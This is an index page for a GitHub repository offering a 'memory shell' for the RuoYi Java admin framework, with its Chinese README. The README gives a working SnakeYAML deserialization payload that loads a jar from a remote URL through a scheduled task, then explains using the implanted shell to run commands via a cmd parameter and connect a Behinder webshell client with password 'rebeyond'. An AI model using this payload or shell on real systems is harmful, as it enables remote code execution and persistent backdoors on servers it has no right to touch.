Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/lz2y/yaml-payload-for-ruoyi
A memory shell for ruoyi
https://github.com/lz2y/yaml-payload-for-ruoyi
Last synced: 22 days ago
JSON representation
A memory shell for ruoyi
- Host: GitHub
- URL: https://github.com/lz2y/yaml-payload-for-ruoyi
- Owner: lz2y
- Created: 2021-11-06T17:17:56.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2023-04-28T06:27:23.000Z (over 1 year ago)
- Last Synced: 2024-08-05T17:36:16.523Z (4 months ago)
- Language: Java
- Size: 37.1 KB
- Stars: 229
- Watchers: 2
- Forks: 37
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - lz2y/yaml-payload-for-ruoyi - A memory shell for ruoyi (Java)
README
# yaml-payload-for-ruoyi
**分析文章**https://xz.aliyun.com/t/10651
**注入方法:**
把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可
```java
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
```
![image-20211127160033485](http://image.lz2y.top/image-20211127160033485.png)若依 snakeyaml 反序列化漏洞注入内存马
**RuoYi**
1. 直接执行命令:?cmd=whoami
2. 连接冰蝎:/login?cmd=1(cmd不为空即可),密码为rebeyond,使用冰蝎正常连接即可
3. 卸载内存马:?cmd=delete![image](https://user-images.githubusercontent.com/55266300/140618949-9973ce81-9308-4bc3-9dd7-286c7281ce33.png)
**RuoYi Vue**1. 直接执行命令:`/dev-api/?cmd=whoami`
2. 连接冰蝎:暂不支持
3. 卸载内存马:`/dev-api/?cmd=delete`**项目仅供学习使用,任何未授权检测造成的直接或者间接的后果及损失,均由使用者本人负责**